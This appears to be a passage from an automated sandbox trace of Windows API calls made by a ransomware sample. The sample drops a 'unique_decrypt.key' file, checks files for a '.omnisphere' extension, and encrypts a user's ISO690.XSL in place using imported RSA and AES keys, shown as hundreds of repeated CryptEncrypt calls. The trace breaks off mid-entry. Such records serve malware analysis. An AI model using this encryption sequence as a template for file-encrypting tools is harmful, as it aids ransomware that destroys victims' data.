RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16315d0 [0092.988] PathCombineW (in: pszDest=0x16315d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0092.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.988] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0092.988] CloseHandle (hObject=0x28c) returned 1 [0092.988] GetProcessHeap () returned 0x1600000 [0092.988] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16315d0 | out: hHeap=0x1600000) returned 1 [0092.988] GetProcessHeap () returned 0x1600000 [0092.989] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1639ed0 | out: hHeap=0x1600000) returned 1 [0092.989] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0xce, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0092.989] GetProcessHeap () returned 0x1600000 [0092.989] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656970 [0092.989] PathCombineW (in: pszDest=0x1656970, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="ISO690.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0092.989] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0092.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.989] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=270642) returned 1 [0092.989] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x41c0e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0092.989] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.035] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] GetTickCount () returned 0x1157665 [0093.036] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0093.036] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0093.036] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0093.036] CryptDestroyKey (hKey=0x16395e8) returned 1 [0093.037] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0093.037] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42132, lpName=0x0) returned 0x288 [0093.037] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42132) returned 0x3c00000 [0093.736] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0093.737] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0093.737] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.737] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.738] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.739] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.740] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 